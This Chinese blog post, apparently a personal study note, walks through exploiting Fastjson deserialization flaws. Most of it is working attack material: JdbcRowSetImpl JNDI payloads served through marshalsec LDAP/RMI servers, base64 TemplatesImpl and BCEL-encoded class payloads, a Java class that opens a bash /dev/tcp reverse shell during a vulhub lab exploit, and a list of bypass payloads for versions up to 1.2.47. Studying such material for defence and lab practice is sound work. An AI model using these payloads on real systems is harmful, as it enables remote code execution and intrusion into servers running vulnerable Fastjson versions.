[Java安全]—fastjson漏洞利用

前言

这两天要出去就不再学新东西了,正好两点睡不着了,起来学学fastjson弥补一些接下来的内容。

Fastjson

Fastjson 组件是阿里巴巴开发的反序列化与序列化组件

Fastjson组件在反序列化不可信数据时会导致远程代码执行。究其原因:

  • Fastjson 提供了反序列化功能,允许用户在输入 JSON 串时通过 “@type” 键对应的 value 指定任意反序列化类名
  • Fastjson 自定义的反序列化机制会使用反射生成上述指定类的实例化对象,并自动调用该对象的 setter 方法及部分 getter 方法。攻击者可以构造恶意请求,使目标应用的代码执行流程进入这部分特定 setter 或 getter 方法,若上述方法中有可被恶意利用的逻辑(也就是通常所指的 “Gadget” ),则会造成一些严重的安全问题。官方采用了黑名单方式对反序列化类名校验,但随着时间的推移及自动化漏洞挖掘能力的提升。新 Gadget 会不断涌现,黑名单这种治标不治本的方式只会导致不断被绕过,从而对使用该组件的用户带来不断升级版本的困扰

依赖

<dependencies>
    <dependency>
        <groupId>com.alibaba</groupId>
        <artifactId>fastjson</artifactId>
        <version>1.2.23</version>
    </dependency>
</dependencies>

POJO

POJO 是 Plain OrdinaryJava Object 的缩写,但是它通指没有使用 Entity Beans 的普通 java 对象,可以把 POJO 作为支持业务逻辑的协助类

Demo

package fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Student {
    private String name;
    private int age;

    public Student() {
        System.out.println("构造函数");
    }

    public String getName() {
        System.out.println("getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("getAge");
        return age;
    }

    public void setAge(int age) throws Exception{
        System.out.println("setAge");
        this.age = age;
    }
    public void setTest(int i){
        System.out.println("setTest");
    }
public static void test1() throws Exception {
    Student student = new Student();
    student.setAge(18);
    student.setName("Sentiment");
    System.out.println("====================");
    String jsonString1 = JSON.toJSONString(student);
    System.out.println("====================");
    String jsonString2 = JSON.toJSONString(student, SerializerFeature.WriteClassName);
    System.out.println(jsonString1);
    System.out.println(jsonString2);
}
public static void test2()throws Exception{
    String jsonString1 = "{\"age\":18,\"name\":\"Sentiment\"}\n";
    String jsonString2 = "{\"@type\":\"fastjson.Student\",\"age\":18,\"name\":\"Sentiment\"}\n";
    System.out.println(JSON.parse(jsonString1));
    System.out.println("======================");
    System.out.println(JSON.parse(jsonString2));
    System.out.println("======================");
    System.out.println(JSON.parseObject(jsonString1));
    System.out.println("======================");
    System.out.println(JSON.parseObject(jsonString2));
    System.out.println("======================");
}
    public static void main(String[] args) throws Exception {
        test1();
        //test2();
    }
}

结果:

构造函数
setAge
setName
====================
getAge
getName
====================
getAge
getName
{"age":18,"name":"Sentiment"}
{"@type":"fastjson.Student","age":18,"name":"Sentiment"}

test1

可以看到调用JSON.toJSONString时会自动调用对应的getter

其次是若加上SerializerFeature.WriteClassName,则返回的内容除属性值外,还会加上@type字段指明类

test2

此时调用test2,将JSON字符串转换成对象

String jsonString1 = "{\"age\":18,\"name\":\"Sentiment\"}\n";
String jsonString2 = "{\"@type\":\"fastjson.Student\",\"age\":18,\"name\":\"Sentiment\"}\n";
System.out.println(JSON.parse(jsonString1));
System.out.println("======================");
System.out.println(JSON.parse(jsonString2));
System.out.println("======================");
System.out.println(JSON.parseObject(jsonString1));
System.out.println("======================");
System.out.println(JSON.parseObject(jsonString2));
System.out.println("======================");

结果:

{"name":"Sentiment","age":18}
======================
构造函数
setAge
setName
fastjson.Student@4629104a
======================
{"name":"Sentiment","age":18}
======================
构造函数
setAge
setName
getAge
getName
{"name":"Sentiment","age":18}
======================

可以看到:

当不加上@type指明类,是得不到类对象的

当对加上@type字段的字符串进行转换后,除了能得到类对象外,parse会调用对应的setterparseObject会调用settergetter

这种@type的方式也叫做autotype:

autotype 是 Fastjson 中的一个重要机制,粗略来说就是用于设置能否将 JSON 反序列化成对象。

set开头的方法要求:

  • 方法名长度大于4且以set开头,且第四个字母要是大写
  • 非静态方法
  • 返回类型为void或当前类
  • 参数个数为1个

get开头的方法要求:

  • 方法名长度大于等于4
  • 非静态方法
  • 以get开头且第4个字母为大写
  • 无传入参数
  • 返回值类型继承自 Collection 或 Map 或 AtomicBoolean 或 AtomicInteger 或 AtomicLon

JdbcRowSetImpl链结合JNDI注入

fastjson<1.2.24

流程分析

在上边test1中自动调用getter时应该可以联想到前边shiro反序列化(三)中提到的Commons-Beanutils链中的动态调用getter的方法PropertyUtils.getProperty即:当传入outputProperties时会自动调用getOutputProperties,所以这里也可以用这种方式来调用关键的两个方法:setDataSourceName()setAutoCommit()

setAutoCommit

public void setAutoCommit(boolean var1) throws SQLException {
    if (this.conn != null) {
        this.conn.setAutoCommit(var1);
    } else {
        this.conn = this.connect();
        this.conn.setAutoCommit(var1);
    }
}

this.conn==null,会调用this.connect()

private Connection connect() throws SQLException {
    if (this.conn != null) {
        return this.conn;
    } else if (this.getDataSourceName() != null) {
        try {
            InitialContext var1 = new InitialContext();
            DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());

connect()中若this.getDataSourceName() != null,则会调用lookup,进而通过rmi等协议远程类加载

DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());

所以看一下getDataSourceName()的值

public String getDataSourceName() {
    return dataSource;
}

是由dataSource决定的,并且在BaseRowSet.setDataSourceName()中可以决定了他的值

public void setDataSourceName(String name) throws SQLException {

    if (name == null) {
        dataSource = null;
    } else if (name.equals("")) {
       throw new SQLException("DataSource name cannot be empty string");
    } else {
       dataSource = name;
    }

    URL = null;
}

JdbcRowSetImpl.setDataSourceName调用了BaseRowSet.setDataSourceName()

public void setDataSourceName(String var1) throws SQLException {
    if (this.getDataSourceName() != null) {
        if (!this.getDataSourceName().equals(var1)) {
            super.setDataSourceName(var1);
            this.conn = null;
            this.ps = null;
            this.rs = null;
        }
    } else {
        super.setDataSourceName(var1);
    }

}

所以基本思路也就出来了,通过@type机制调用dataSourceNameautoCommit并对其赋值,调用时自动加上前缀set就调用到了我们刚才说到的两个方法进而触发类加载代码执行

攻击实现

攻击方式也跟JNDI的LDAP方式一样
开启本地服务

python -m http.server 7777

使用marshalsec构建LDAP服务,服务端监听:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:7777/#Exec 9999

poc

package fastjson;

import com.sun.rowset.JdbcRowSetImpl;
import com.alibaba.fastjson.JSON;

class demo1{
    public static void main(String[] args) {
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:9999/Exec\",\"autoCommit\":true}";
        try {
            System.out.println(payload);
            JSON.parseObject(payload);
        } catch (Exception e) {
            System.out.println(e.getMessage());
        }
    }
}

RMI同样也可以

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:7777/#Exec 9999

poc

package fastjson;

import com.alibaba.fastjson.JSON;

class demo1{
    public static void main(String[] args) {
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:9999/Exec\",\"autoCommit\":true}";
        try {
            System.out.println(payload);
            JSON.parseObject(payload);
        } catch (Exception e) {
            System.out.println(e.getMessage());
        }
    }
}

TemplatesImpl动态加载字节码

攻击实现

这里的流程挺难理解的,先给出poc之后再根据简单的调试调试分析下内容。

TemplatesPoc.java

package fastjson;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class TemplatesPoc extends AbstractTranslet {

    public TemplatesPoc() throws IOException {
        Runtime.getRuntime().exec("calc");
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }

    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {

    }

    public static void main(String[] args) throws Exception {
        TemplatesPoc t = new TemplatesPoc();
    }
}

把字节码base64加密后传入payload

package fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class Templates {
    public static void main(String[] args) {
        String jsonString = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABdMZmFzdGpzb24vVGVtcGxhdGVzUG9jOwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAJaGFGbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAtAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAXQHAC4BAApTb3VyY2VGaWxlAQARVGVtcGxhdGVzUG9jLmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAVZmFzdGpzb24vVGVtcGxhdGVzUG9jAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAAAwABAANAA0ADgAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABIADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAGgAIABsADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],\"_name\":\"Sentiment\",\"_tfactory\":{},\"_outputProperties\":{}}";
        JSON.parse(jsonString, Feature.SupportNonPublicField);

    }
}

流程分析

调用deserialze后会调用parseField()方法

fieldDeserializer.parseField(parser, object, objectType, fieldValues);

跟进后解析出_bytecodes对应的内容,接着会调用setValue()函数设置对应的值,这里value即为恶意类二进制内容Base64编码后的数据

setValue(object, value);

跟进setValue(),获取method后,经过if判断fieldInfo.getOnly为false所以进入下边的set方法来设置_bytecodes的值

在这里插入图片描述

接着解析到_outputProperties的内容时fieldInfo.getOnly判断为true进入if语句中,调用method.invoke(object)

在这里插入图片描述

之后的调用就跟TemplatesImpl链的一模一样了

TemplatesImpl.getOutputProperties() ->
TemplatesImpl.newTransformer() ->
TemplatesImpl.getTransletInstance() ->
TemplatesImpl.defineTransletClasses() ->
TransletClassLoader.defineClass

调用栈:

<init>:14, TemplatesPoc (fastjson)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
getTransletInstance:457, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:485, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:506, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:80, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:722, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:568, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:187, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:183, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
main:9, Templates (fastjson)

BasicDataSource不出网利用

主要就是利用到不出网常见方式BCEL动态加载字节码

依赖

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
</dependency>
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-dbcp</artifactId>
    <version>9.0.20</version>
</dependency>

由于下面分析的主要是针对于Fastjson 1.2.22-1.2.24所以,用的是1.2.24版本,并且这种攻击方式需要特定的依赖tomcat-dbcp;其次需要注意这种方式只适用于JDK8u251之前,因为在此之后BCEL类被删除了

攻击实现

恶意类Exec.java

import java.io.IOException;

public class Exec {
    public Exec() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
}

BCEL加载恶意类

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;  //8u_251后移除,注意版本


public class BCELTest {
    public static void main(String[] args) throws Exception {
        JavaClass javaClass = Repository.lookupClass(Exec.class);
        String code = Utility.encode(javaClass.getBytes(),true);
        System.out.println("$$BCEL$$"+code);
        new ClassLoader().loadClass("$$BCEL$$"+code).newInstance();
    }
}

fastjson进行攻击

import com.alibaba.fastjson.JSON;

public class BCEL {
    public static void main(String[] args) {
        String payload =
                "{\n" +
                        "    {\n" +
                        "        \"x\":{\n" +
                        "                \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
                        "                \"driverClassLoader\": {\n" +
                        "                    \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
                        "                },\n" +
                        "                \"driverClassName\": \"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeP$cbN$C1$U$3d$85$91$81qP$k$e2$fb$RW$82$Lg$e3$OcL$M$s$sD$8c$Y$5c$P$b5$8e$r$d0$9a$99b$f8$z7j$5c$f8$B$7e$94$f1v4$88$b1M$7br$ce$3d$a7$b7$ed$c7$e7$db$3b$80C$ecx$c8$a1$e2$a1$8a$a5$3cj$W$97$5d$ac$b8Xe$c8$jI$r$cd1C$b6$de$e818$a7$faV0$y$b6$a5$S$X$e3Q_$c4$d7a$7fHJ$a5$ady8$ec$85$b1$b4$fcGt$cc$bdL$ac$fb$$L$cc$m$d1$whM$Eo2x$ad$J$X$PFj$95$b8X$p$de$d5$e3$98$8b3iS$Fk$3a$Y$84$8f$a1$P$Xy$X$eb$3e6$b0I$c7Q$H$eec$L$db$M$c5$3fG2$94$ac$3f$Y$86$w$K$3a$fd$81$e0$86$a1$9aJR$H$e7$9di$3b$86$f2$af$f1j$ac$8c$iQG$_$SfJj$f5F$fb$9f$87$ee$ec$88$b4$d1$5e$7d$a6$da5$b1TQs6p$Zk$$$92$a4$89$5d$cc$d1$af$da$c1h$d2C$90A$81$d8$J$n$p$5c$d8$7f$B$7bE$a6$92$7d$86s$f3DJ$G$9e$d5$91$a5$3d$H$872EJ$cd$T$f3$bf$T$84$c5$UAU$faWZ$a54W$fe$C$F$f1$9b$ac$cb$B$A$A\"\n" +
                        "        }\n" +
                        "    }: \"x\"\n" +
                        "}";
        JSON.parse(payload);
    }
}

这里driverClassName后边的内容,就是运行BCELTest.java后输出的需要加载的内容

流程分析

前边都是一样的,在调用到DefaultJSONParser.java后,会调用下边的key.toString(),key就是我们payload中传入的x值

if (object.getClass() == JSONObject.class) {
    key = (key == null) ? "null" : key.toString();
}

之后又会调用toJSONString()

public String toString() {
    return toJSONString();
}

在前边的POJO中特意提到过,这个toJSONString会默认执行调用类中的getter(),所以当我们payload传入BasicDataSource类后,就会调用他对应的getter()——getConnection()

public Connection getConnection() throws SQLException {
    if (Utils.IS_SECURITY_ENABLED) {
        final PrivilegedExceptionAction<Connection> action = new PaGetConnection();
        try {
            return AccessController.doPrivileged(action);
        } catch (final PrivilegedActionException e) {
            final Throwable cause = e.getCause();
            if (cause instanceof SQLException) {
                throw (SQLException) cause;
            }
            throw new SQLException(e);
        }
    }
    return createDataSource().getConnection();
}

最后会调用createDataSource().getConnection();

跟进createDataSource(),会调用createConnectionFactory()

final ConnectionFactory driverConnectionFactory = createConnectionFactory();

在这个方法中会通过newInstance实例化,进而进行类加载

driverToUse = (Driver) driverFromCCL.getConstructor().newInstance();

整条链前边的调用过程都一样就在最后部分有些变化但链也很短不是很难,主要就是学习一下toString这个小trick

调用链:

toString() -> toJSONString() -> BasicDataSource.getConnection() -> createDataSource() -> createConnectionFactory()

vulhub靶场

vulhub上正好有两个环境打下练练

Fastjson 1.2.24

Vulhub - Docker-Compose file for vulnerability environment

docker-compose up -d

先生成一个恶意攻击的字节码文件,靶场中给到的是执行tough命令创建文件,但这种方式应该只是测试用的不怎么具有攻击性,所以我这里尝试了一下反弹shell(常规反弹shell命令不知道为什么不会被执行,搞了好久。。。。)

shell.java

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class shell {
    public shell() throws Exception {
        Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/ip1/port;cat <&5 | while read line; do $line 2>&5 >&5; done"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));

        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }

        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }

    public static void main(String[] args) throws Exception {
    }
}

生成字节码文件shell.class

javac shell.java

使用marshalsec构建RMI服务,服务端监听:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://ip2:7777/#shell" 9999

开启本地服务

python3 -m http.server 7777

之后用payload直接打就行,注意下Content-type

在这里插入图片描述

成功反弹shell
在这里插入图片描述

流程的话就是通过靶场主机,发送payload,访问远程主机的9999端口也就是上边的ip2,之后因为9999端口开启的rmi服务,所以会直接访问7777端口的shell.class,之后执行class文件,进行反弹shell到公网ip(上边的ip1)

Fastjson 1.2.47 反序列化 RCE

Vulhub - Docker-Compose file for vulnerability environment

docker-compose up -d

步骤跟上边的都一样只是poc变了点,主要是源于fastjson有一个cache缓存,在加载类时如果autotype没开启,会先从缓存中获取类,如果有则直接调用

例如缓存中一般都会有java.lang.Class类,当fastjson发现该类时,就会直接调用他的val中的类,进而回到了JdbcRowSetImpl链的利用过程

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://ip2:9999/Exploit",
        "autoCommit":true
    }
}

Bypass

这两条链都是基于1.2.24版本之前的,但在此之后对@type字段的内容进行了检测,所以之后的版本出现了很多对应的检测机制和绕过方法,这里就简单的总结下各版本bypass的payload(所有大于当前版本的bypass方式都适用于在此版本之前的版本):

fastjson 1.2.25-1.2.41

增加了checkAutoType()检测,但以L开头;结尾,可以绕过该方法的检测。

poc

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String jsonString = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"rmi://127.0.0.1:9999/Exec\", \"autoCommit\":true}";
JSON.parse(jsonString);

fastjson 1.2.42

对L和;进行了过滤,但只过滤一次所以双写绕过。

poc

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);        
String jsonString = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"rmi://127.0.0.1:9999/Exec\", \"autoCommit\":true}";
JSON.parse(jsonString);

fastjson 1.2.43

双写也不行了。但除此外还会对[特殊处理,这里用[ xxxxxx[{,即可绕过

String jsonString = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"rmi://127.0.0.1:9999/Exec\", \"autoCommit\":true}";
JSON.parse(jsonString);

fastjson 1.2.44 — fastjson 1.2.45

条件需要开启autotype,45把之前问题修了,但是可以借助第三方组件绕过。需要mybatis,且版本需为3.x.x系列<3.5.0的版本。

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://127.0.0.0.1:9999/Exec"}}

fastjson 1.2.46 — fastjson 1.2.47

cache通杀,之前的版本都适用

这里有两大版本范围:

  • 1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport不能利用
  • 1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用

简而言之不开autoTypeSupport就行

String jsonString = "{\n" +
        "    \"a\": {\n" +
        "        \"@type\": \"java.lang.Class\", \n" +
        "        \"val\": \"com.sun.rowset.JdbcRowSetImpl\"\n" +
        "    }, \n" +
        "    \"b\": {\n" +
        "        \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \n" +
        "        \"dataSourceName\": \"rmi://127.0.0.1:9999/Exec\", \n" +
        "        \"autoCommit\": true\n" +
        "    }\n" +
        "}";
JSON.parse(jsonString);

BasicDataSource Bypass

BasicDataSource方式在47版本之前也有对应的bypass

Fastjson 1.2.22-1.2.24

{
    {
        "x":{
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$..."
        }
    }: "x"
}

1.2.33<=fastjson<=12.36

{
    "name":
    {
        "@type" : "java.lang.Class",
        "val"   : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
    },
    "x" : {
        "name": {
            "@type" : "java.lang.Class",
            "val"   : "com.sun.org.apache.bcel.internal.util.ClassLoader"
        },
        {
            "@type":"com.alibaba.fastjson.JSONObject",
            "c": {
                "@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName":"$$BCEL..."
            }
        } : "ddd"
    }
}

1.2.33 <= fastjson <= 1.2.47

{
    "xx":
    {
        "@type" : "java.lang.Class",
        "val"   : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
    },
    "x" : {
        "name": {
            "@type" : "java.lang.Class",
            "val"   : "com.sun.org.apache.bcel.internal.util.ClassLoader"
        },
        {
            "@type":"com.alibaba.fastjson.JSONObject",
            "c": {
                "@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName":"$$BCEL...."
            }
        } : "xxx"
    }
}

1.2.37<=fastjson<=1.2.47

{
    "name":
    {
        "@type" : "java.lang.Class",
        "val"   : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
    },
    "x" : {
        "name": {
            "@type" : "java.lang.Class",
            "val"   : "com.sun.org.apache.bcel.internal.util.ClassLoader"
        },
        "y": {
            "@type":"com.alibaba.fastjson.JSONObject",
            "c": {
                "@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName":"$$BCEL$..",

                     "$ref": "$.x.y.c.connection"
            }
        }
    }
}

后边还有更高版本的绕过,但都需要对应的包,可以参考一下:
https://github.com/safe6Sec/Fastjson

参考链接

Fastjson 反序列化 Jndi 注入利用 JdbcRowSetImpl 链_OceanSec的博客-CSDN博客_fastjson jndi注入
Java安全]fastjson学习_bfengj的博客-CSDN博客_fastjson学习
Fastjson 1.2.22-1.2.24反序列化漏洞分析 - 先知社区 (aliyun.com)
JAVA反序列化—FastJson组件 - 先知社区 (aliyun.com)

  • 6
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值